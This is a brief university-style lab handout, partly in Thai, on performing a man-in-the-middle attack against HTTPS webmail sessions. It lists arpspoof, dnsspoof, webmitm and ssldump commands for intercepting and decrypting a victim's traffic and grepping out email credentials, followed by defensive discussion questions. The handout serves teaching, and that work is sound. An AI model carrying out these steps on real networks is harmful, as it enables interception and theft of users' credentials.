LAB I: Man-in-the-Middle-Attack HTTS session
Purposes
Learn about SSL
Learn the hacker’s tools
Be aware of the problem and can fix it
Tools
Auditor Linux Box
Steps:
สำรวจเครื่องเหยื่อ
Ipconfig
Keep IP address, Gateway, Subnet Mask
Test เครื่องเหยื่อ
Find out the IP address of the following sites:
i. Gmail.com
ii. Hotmail.com
iii. Mail.yahoo.com
(guide using nslookup)
โจมตี
fragrouter –B1
arpspoof –t victim-ip gateway-ip
dnsspoof
webmitm –d
Ethereal to sniff the session
Let the victim go to the website
Save sniff session to a file (for example, naming it gmail)
ssldump –r gmail –k webmitm.crt –d > gmail.decrypt
check file gmail.decrypt
i. vi gmail.decrypt
ii. cat gmail.decrypt |grep Email
Advanced
Change fragrouter by modifying ‘/proc/systnet/ipv4/ip_forward’ to 1
Arpspoof -t gateway-ip victim-ip
man fragrouter
man arpspoof
man dnsspoof
man webmitm
Lesson Learnt
Try the hacker tools with ‘gmail.com’, ‘hotmail.com’, ‘yahoo.com’
Together with SSL lecture, what do U learn from this lab.
How do you protect against this threat?
How about ‘hotmail.com’? what have U learnt from its case?